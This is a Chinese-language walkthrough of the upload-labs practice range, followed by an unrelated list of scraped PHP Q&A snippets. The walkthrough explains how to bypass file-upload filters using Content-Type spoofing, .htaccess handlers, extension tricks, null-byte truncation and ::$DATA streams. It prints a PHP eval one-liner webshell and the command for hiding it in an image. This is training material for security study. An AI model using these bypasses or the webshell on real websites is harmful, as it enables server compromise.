upload-labs详细教程

2023-10-29

目录

 第一关 js检查

 第二关 Content-Type

 第三关 黑名单验证

 第四关 黑名单验证(.htaccess绕过) 

 第五关 黑名单验证(.user.ini)

 第六关 空格绕过

 第七关 点绕过 

 第八关 ::$DATA绕过 

 第九关 .空格.绕过

 第十一关 文件路径%00截断

 第十二关 文件路径0x00截断

 第十三关 文件头检测


查看源码

由源代码可知,允许上传的文件为.jpg|.png|.gif

我们上传一个.jpg文件

利用burp suite进行抓包

 将jpg改为php后,放包

上传成功。

 第二关 Content-Type

查看源码

有源码可知,发现只判断Content-Type类型,所以我们只需修改Content-Type进行绕过即可

首先上传php文件,抓上传包

 

将箭头所指的内容改为image/jpeg或image/png或image/gif后,放包,文件即上传成功! 

 

 第三关 黑名单验证

查看源代码

 由源码可知,本关不允许上传.asp,.aspx,.php,.jsp类型的文件

我们可以通过不常见的php扩展名绕过黑名单的限制

比如.phtml,.php3,.php4,.php5

第四关 黑名单验证(.htaccess绕过) 

查看源码

源码可知,黑名单拒绝了所有格式的文件后缀名,除了.htaccess

所以此关通过.htaccess绕过进行上传

首先,上传一个.htaccess文件

内容为:SetHandler application/x-httpd-php

文件命名为:.htaccess

接下来,上传一个.jpg文件

内容为:<?php
phpinfo();
?>

文件命名为:0.jpg(文件名自己定义)

上传即可。

 第五关 黑名单验证(.user.ini)

这一关和上一关差不多,只不过这一关加上了对.htaccess的禁止,但是没有将后缀进行大小写统一

我们用burp抓包将filename="12345.php"改为filename="12345.PHP"就可以了

 第六关 空格绕过

看完提示发现和源码,可以看到上面的方法都不可行

这时候就需要普及一个知识:Win下xx.jpg空格和xx.jpg.两种文件是不被允许存在的,要是这样命名文件,windows系统会默认删除空格或者.

在这里系统默认删除的的文件中的.

所以我们用burp抓包将filename="12345.php"改为filename="12345.php "(12345.php空格)

第七关 点绕过 

查看源码

分析代码,有去空格和所以黑名单,但是没有去点。

我们只需要利用burp抓包加个点即可

第八关 ::$DATA绕过 

查看源码

分析源码可知,之前所有的点这关都有防范

NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA。

本关中的黑名单没有去处后缀名中的“::$DATA”

利用burp抓包,在文件后缀处加上::$DATA

 第九关 .空格.绕过

 查看提示

查看源码

 上传文件名后加上点+空格+点,改为12345.php. .

第十关 双写文件名绕过

上传文件,burp抓包 

 将箭头处改为.phpphp

 第十一关 文件路径%00截断

 查看源代码

从代码中可以发现红线处,对上传的文件名进行重新拼接,使用$_GET传参
可以通过%00进行截断上传 

上传.php文件

使用burpsuite抓包

 在.php后增加%00.jpg,放包

 第十二关 文件路径0x00截断

查看源码

上传文件123.jpg,buropsuite进行抓包

,箭头处添加/.jpg%00放包

第十三关 文件头检测

制作图片马

将图片和一句话木马放在一个文件夹下

一句话木马为:   <?php @eval($_POST['attack']);?>

进行合成,命令如下

copy 1123.jpg /b + 222.txt /a 2.jpg

上传图片马

 第十四关 getimagesize()检测

同十三关,这一关是用getimagesize函数来判断文件类型,但是还是可以用图片码绕过

第十五关 exif_imagetype()检测

png图片webshell上传同Pass-13。
jpg/jpeg图片webshell上传同Pass-13。

第十六关 突破二次渲染

上传图片马

使用burpsuite拦截

在图片尾部插入一句话木马,密码是123

 放包

 

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

upload-labs详细教程 的相关文章

  • 使 pdo::query 静态

    当我运行下面的代码时出现此错误 我通常使用 msql 函数 但我尝试使用 PDO 代替 怎么了 致命错误 第 14 行无法静态调用非静态方法 PDO query
  • Smarty输出空白页

    已解决 模板文件错误 我有这样的 Smarty 设置 require once smarty Smarty class php smarty new Smarty smarty gt compile dir compile dir smar
  • 如何复制 ArrayIterator 以保留其当前迭代位置?

    因为这似乎是我必须做的才能达到这种效果 arr a gt first b gt second iter new ArrayIterator arr Do a bunch of iterations iter gt next new iter
  • 通过 __get() 通过引用返回 null

    快速规格 PHP 5 3 error reporting 1 the highest 我正在使用 get 通过引用技巧神奇地访问对象中任意深度的数组元素 快速示例 public function get key return isset t
  • 阻止注销页面后的后退按钮

    我有 php 注销页面 当用户单击注销链接时 请参阅此页面并重定向到索引页面 但是当单击后退按钮时 我会看到带有用户数据的上一页 当然 当我刷新页面时 我看不到以前的页面和数据 我在单击注销并单击后退按钮后检查了其他代码 drupal 但我
  • 如何阻止直接访问我的 JavaScript 文件?

    我使用 Minify 来缩小并缓存所有脚本请求 我只希望我的用户能够访问 JavaScript 文件的缩小版本 缩小位于www example com min我的脚本位于www example com scripts 如何阻止直接访问doc
  • 限制自己超载外部 API 的速率

    我发现了很多信息和脚本示例 展示了如何对 API 用户进行速率限制 但我无法找到任何示例来说明在施加这些限制时如何对您自己的 API 请求进行速率限制 我总是用诸如以下的代码来限制我的脚本sleep or usleep命令 但感觉这是一种低
  • PHP Solr PECL 扩展安装

    我已经使用命令安装了 pecl solr pecl install solr 和梨使用 wget http pear php net go pear phar php go pear phar 重启Apache后 我仍然收到错误 Fatal
  • postgreSql 中特定时间后表更新

    我已经在 postgres 中创建了表 现在我想在特定时间 例如 1 小时 后更新一行 我看到很多问题 例如 https dba stackexchange com questions 56424 column auto updated a
  • MySQL PHP邮政编码比较具体距离

    我试图找出比较一个邮政编码 用户提供的 和一大堆其他邮政编码 现在大约有 200 个邮政编码 之间的距离的最有效方法 相对于加载时间 但它会随着时间的推移而增加 我不需要任何精确的东西 只是在球场上 我下载了整个美国的邮政编码 csv 文件
  • Joomla 页面中的自定义 php 代码

    我正在尝试将 Joomla 1 5 9 页面中的表源从页面中的硬编码 html 更改为从 SQL 数据库获取信息 执行此操作的正确方法是什么 创建一个新的模型或组件并以某种方式在页面中使用它 我找到了这些 http docs joomla
  • 如何仅使用 PHP5 RecursiveDirectoryIterator 类递归显示具有特定文件类型的文件夹和子文件夹

    您好 我正在尝试使用 FilterIterator 上的扩展来获取 RecursiveDirectoryIterator 类 但由于某种原因 它仅在根目录上进行迭代 我的代码是这样的 class fileTypeFilter extends
  • Sonata DateTimePickerType 类默认日期显示错误的日期时间格式

    我陷入困境 我不知道如何使用 sonata DateTimePickerType 类正确设置默认日期和时间 我尝试了不同的方法 但到目前为止 没有一种方法没有帮助 在下面的截图中 help 键显示正确的日期和时间 但是当我使用 dp 默认日
  • MVC 模式中的验证层

    验证模型将使用的数据的最佳位置在哪里 例如 考虑登记表 我们有一些来自注册表的数据 那么验证这些数据的最佳位置在哪里 我们应该通过 if 语句或特殊的验证器类来检查每个数据 这意味着大量的编码 所以我想了解在哪里可以做到这一点 在控制器中
  • WordPress 插件中的类自动加载器

    我想编写一个类自动加载器以在 WordPress 插件中使用 该插件将安装在多个站点上 我想尽量减少与其他插件发生冲突的机会 自动加载器将是这样的 function autoload name some code here 我的主要问题是
  • 检查条件并通过 Zend 中的 Regex 识别 url 中的模式

    我正在实现 Zend Regex 路由 并且必须对 url 执行多次检查 例如 如果这是我的网址 http localhost application public index php module controller action 这是
  • 检查 $_POST 数据

    我正在对表单进行一些垃圾邮件检查 下面的代码在我的本地主机上正常工作 如果为 true 则重定向到 google com 但是 当它在生产服务器上时却不起作用 执行脚本的其余部分并且不重定向到 Google com if POST SERV
  • 如何从父类中获取子类名

    我试图在不需要子类上的函数的情况下完成此任务 这可能吗 我有一种感觉 但我真的很想确定
  • 使用 php-ews(Exchange Web 服务)在特定日期后获取电子邮件

    在我的 PHP 脚本中 我需要弄清楚如何检索指定消息 ID 之后或特定日期之后的所有电子邮件 两者都可以 我只需要检索自上次抓取收件箱以来的新电子邮件 这个收件箱每天收到数千封电子邮件 而且我在 30 天内无法删除任何电子邮件 对于初始导入
  • 一种无需 JavaScript 即可在 PHP 中确定浏览器宽度的方法?

    首先有吗 或者我必须使用javascript 我希望能够更改使用的 CSS 因此 frex 我可以为移动设备或其他设备加载较小的字体 不幸的是 仅使用 PHP 无法检测用户分辨率 如果您使用 Javascript 则可以在 cookie 中

随机推荐

  • Docker Hub的使用以及配置阿里云镜像加速

    Docker Hub是一个由Docker公司负责维护的公共注册中心 它包含了超过15 000个可用来下载和构建容器的镜像 并且还提供认证 工作组结构 工作流工具 比如webhooks 构建触发器以及私有工具 比如私有仓库可用于存储你并不想公
  • [山东科技大学OJ]2297 Problem F: 编写函数:字符串的小写转大写(Append Code)

    Time Limit 1 Sec Memory Limit 16 MB Submit 3392 Solved 1822 Submit Status Description 输入一些字符串 把其中的小写字母转换成大写字母 编写函数str up
  • python 年月日_在Python中将年/月/日转换为年

    I m using the Python datetime module i e gt gt gt import datetime gt gt gt today datetime datetime now gt gt gt print to
  • 架构师成长系列 - 能力认知(3)

    之前写了关于认知的两篇文章 感觉写的还是不够透彻 可能很多人看不明白 我决定还是再次用比较详尽的一个例子 和我给别人one by one中聊到的认知成长部分来再次说明一下这个问题 在我的成长路径中 认知是非常非常重要的 所以我争取把这个问题
  • 微信小程序插件--wxml-to-canvas(生成图片)

    一 需求 项目中要实现一个将图片分享到朋友圈的功能 将生成的海报转成图片保存到手机 用到了wxml to canvas插件 二 官方示例使用方法 1 安装wxml to canvas npm install save wxml to can
  • 三维语义分割三个数据集

    随着之后的使用 可能会有一些补充 indoor datasets NYU V2 5 S3DIS 6 ScanNet 7 and outdoor datasets Semantic 3D 8 KITTI 9 vKITTI 10 semanti
  • C++ - STL标准库

    1 C STL标准库简介 长久以来 软件界一直希望建立一种可重复利用的东西 以及一种得以制造出 可重复运用的东西 的方法 从函数 functions 类别 classes 函数库 function libraries 类别库 class l
  • 并行编程的几种常见框架总结

    1 OpenMP 是基于共享内存系统的并行编程和框架 只需要在串行程序中 需要并行的部分添加一行关键字 pragma omp parallel for 来标注接下来的for循环分解到多个线程上执行 两个缺点 并行后会改变原来for循环的顺序
  • 阿里云服务器(centos7) 设置mysql账号密码开放3306端口实现远程登陆

    在阿里云服务器上 centos7 下载好了mysql并安装上去 但是暂未设置账号密码 远程登陆mysql并不可行 这里有两个问题需要我们去解决 设置账号密码 远程登陆mysql 一 设置账号密码 1 登陆远程服务器 2 查看mysql版本
  • 随机函数详解+浅谈洗牌算法

    在C 中的 rand 函数可以用来产生随机数 在使用 rand 函数的时候 首先需要包含头文件 include
  • 屏幕录制软件camtasia studio 8序列号激活

    注册名 TEAM MESMERiZE序列号 3MHCA 5DMCV H89T8 V8GML W6FB8打开hosts文件 C Windows System32 drivers etc hosts把下面两个添加进去 没有 直接复制到hosts
  • 计算机网络两台主机互相通信过程概览

    两台主机互通过程 地面 物理层信息 路 数据链路层 使物理层更好的传输 车 网络层 实现异构网络的互联 货物 传输层 实现不同主机的进程之间的通讯 TCP 楼 应用层 为应用进程提供服务 TCP IP结构 应用层 提供系统与用户的接口 传输
  • 反序列化漏洞

    什么是序列化 序列化 serialize 是将对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间 对象将其当前状态写入到临时或持久性存储区 以后 可以通过从存储区中读取或反序列化对象的状态 重新创建该对象 将状态信息保存为字符串
  • android 开发(一些控件用法)

    1 属性 XML标记内部id语法 android id id button 号表示这是一个新的资源名称 引用Android资源Id时不需要加 但是需要加android命名空间 android id android id button 引用创
  • 算法系列-leetcode-34.二叉树中和为某一值的路径

    剑指 Offer 34 二叉树中和为某一值的路径 中等 给你二叉树的根节点 root 和一个整数目标和 targetSum 找出所有 从根节点到叶子节点 路径总和等于给定目标和的路径 叶子节点 是指没有子节点的节点 示例 1 输入 root
  • 【会议资源】2022年第三届自动化科学与工程国际会议(JCASE 2022)

    2022年第三届自动化科学与工程国际会议 JCASE 2022 重要信息 会议网址 www ijcase org 会议时间 2022年10月14 16日 召开地点 中国成都 截稿时间 2022年8月30日 录用通知 投稿后2周内 收录检索
  • Spring给对象属性赋值的三种注入方式

    bean类 package com zxh model public class Student private String username private String password private Integer id publ
  • 2021年06月学习

    daily plan 2021 06 2021年06月 聊天室代码 https www jianshu com p b4e2a555ef4c https cshihong github io 2017 08 20 E5 9F BA E4 B
  • 第十一届蓝桥杯 D 题——REPEAT程序(文件数据读取与处理)

    前言 蓝桥杯不时会考察对文件的读取和处理 prog txt 解题思路 首先 我们将题目中给出的样例拿出来分析 REPEAT 2 A A 4 REPEAT 5 REPEAT 6 A A 5 A A 7 A A 8 A A 9 可得 式子 与
  • upload-labs详细教程

    目录 第一关 js检查 第二关 Content Type 第三关 黑名单验证 第四关 黑名单验证 htaccess绕过 第五关 黑名单验证 user ini 第六关 空格绕过 第七关 点绕过 第八关 DATA绕过 第九关 空格 绕过 第十一